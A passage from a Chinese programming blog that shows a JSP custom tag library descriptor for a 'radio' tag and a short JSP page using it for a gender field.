<tlib-version>1.0</tlib-version>
<short-name>pi</short-name>

<tag>
<description>myself radio</description>
<name>radio</name>
<tag-class>com.pibgstar.demo.tags.RadioTagSupport</tag-class>
<body-content>JSP</body-content>
<attribute>
<name>code</name>
<required>true</required>
<rtexprvalue>false</rtexprvalue>
</attribute>
<attribute>
<name>tip</name>
<required>false</required>
<rtexprvalue>false</rtexprvalue>
</attribute>
</tag>

</taglib>

3. JSP中使用

1
2
3
4
5
6
7
8
9
10
<%@taglib prefix="pi" uri="WEB-INFO/tlds/pibigstar-pi.tld" %>

<html>
<head>
<title>自定义radio标签使用</title>
</head>
<body>
<pi:radio code="SEX" tip="性别"></pi:radio>
</body>
</html>
1…91011…14
派大星

派大星

137 日志
64 分类
230 标签
GitHub CSDN
© 2019 派大星